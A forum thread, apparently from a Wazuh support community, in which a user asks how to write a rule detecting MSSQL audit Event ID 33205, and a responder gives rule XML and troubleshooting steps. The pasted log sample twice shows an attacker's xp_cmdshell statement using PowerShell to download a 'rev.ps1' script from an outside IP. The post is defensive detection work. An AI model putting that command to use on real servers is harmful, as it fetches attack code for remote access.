How to Monitoring MSSQL Security with Wazuh

[B20DCAT173_Nguyễn Hà Thanh]

Hello Wazuh teams,

Can you help me create a rule to detect Event ID 33205 in the Application log ?
I tried many times but it didn't work.

Event ID 33205:

Log Name:      Application

Source:        MSSQL$SQLEXPRESS

Date:          10/24/2024 9:45:26 AM

Event ID:      33205

Task Category: None

Level:         Information

Keywords:      Classic,Audit Success

User:          N/A

Computer:      DESKTOP-6V1VEHO

Description:

Audit event: audit_schema_version:1

event_time:2024-10-24 02:45:25.4364615

sequence_number:1

action_id:EX  

succeeded:true

is_column_permission:false

session_id:51

server_principal_id:267

database_principal_id:1

target_server_principal_id:0

target_database_principal_id:0

object_id:-1008137134

user_defined_event_id:0

transaction_id:4692

class_type:X 

duration_milliseconds:0

response_rows:0

affected_rows:0

client_ip:192.168.238.147

permission_bitmask:00000000000000000000000000000020

sequence_group_id:F2A75A6B-D7CA-41BD-A132-22833549FF6E

session_server_principal_name:effect

server_principal_name:effect

server_principal_sid:cd8d0bf5ba9c4640ae2f2e8059e946f8

database_principal_name:dbo

target_server_principal_name:

target_server_principal_sid:

target_database_principal_name:

server_instance_name:DESKTOP-6V1VEHO\SQLEXPRESS

database_name:master

schema_name:sys

object_name:xp_cmdshell

statement:xp_cmdshell 'powershell -Command "Invoke-WebRequest -Uri http://192.168.238.147/rev.ps1 -OutFile C:\1\rev.ps1"';

additional_information:

user_defined_information:

application_name:sqsh-2.5.16.1

connection_id:DB514213-A731-4AEF-9FEB-A89F1D39315D

data_sensitivity_information:

host_name:kali

.

Event Xml:

<Event xmlns="http://schemas.microsoft.com/win/2004/08/events/event">

  <System>

    <Provider Name="MSSQL$SQLEXPRESS" />

    <EventID Qualifiers="16384">33205</EventID>

    <Version>0</Version>

    <Level>0</Level>

    <Task>5</Task>

    <Opcode>0</Opcode>

    <Keywords>0xa0000000000000</Keywords>

    <TimeCreated SystemTime="2024-10-24T02:45:26.6709211Z" />

    <EventRecordID>55680</EventRecordID>

    <Correlation />

    <Execution ProcessID="0" ThreadID="0" />

    <Channel>Application</Channel>

    <Computer>DESKTOP-6V1VEHO</Computer>

    <Security />

  </System>

  <EventData>

    <Data>audit_schema_version:1

event_time:2024-10-24 02:45:25.4364615

sequence_number:1

action_id:EX  

succeeded:true

is_column_permission:false

session_id:51

server_principal_id:267

database_principal_id:1

target_server_principal_id:0

target_database_principal_id:0

object_id:-1008137134

user_defined_event_id:0

transaction_id:4692

class_type:X 

duration_milliseconds:0

response_rows:0

affected_rows:0

client_ip:192.168.238.147

permission_bitmask:00000000000000000000000000000020

sequence_group_id:F2A75A6B-D7CA-41BD-A132-22833549FF6E

session_server_principal_name:effect

server_principal_name:effect

server_principal_sid:cd8d0bf5ba9c4640ae2f2e8059e946f8

database_principal_name:dbo

target_server_principal_name:

target_server_principal_sid:

target_database_principal_name:

server_instance_name:DESKTOP-6V1VEHO\SQLEXPRESS

database_name:master

schema_name:sys

object_name:xp_cmdshell

statement:xp_cmdshell 'powershell -Command "Invoke-WebRequest -Uri http://192.168.238.147/rev.ps1 -OutFile C:\1\rev.ps1"';

additional_information:

user_defined_information:

application_name:sqsh-2.5.16.1

connection_id:DB514213-A731-4AEF-9FEB-A89F1D39315D

data_sensitivity_information:

host_name:kali

</Data>

  </EventData>

</Event>

[Md. Nazmur Sakib]

Hi User,

You can use the following rule.

<group name="windows,">

  <rule id="100103" level="6">

    <if_sid>61070</if_sid>

    <field name="win.system.eventid">^33205</field>

    <description>MS SQL event</description>

  </rule>

</group>

Check this document to learn more about writing custom rules:

Rules Syntax
Custom rules

If you need further assistance on writing rules enable archive JSON format log from your manager's ossec.conf

<ossec_config>

  <global>

___________________

    <logall_json>yes</logall_json>

_______________

After making the changes make sure to restart the manager.

Note: Don't forget to disable the logall parameter once you have finished troubleshooting. Leaving it enabled could lead to high disk space consumption.

Ref: https://documentation.wazuh.com/current/user-manual/reference/ossec-conf/global.html#logall-json

Look for if there are any logs inside the archive log which is relevant. Use grep parameters related to the log.
cat /var/ossec/logs/archives/archives.json | grep 33205

Let me know the update on the issue.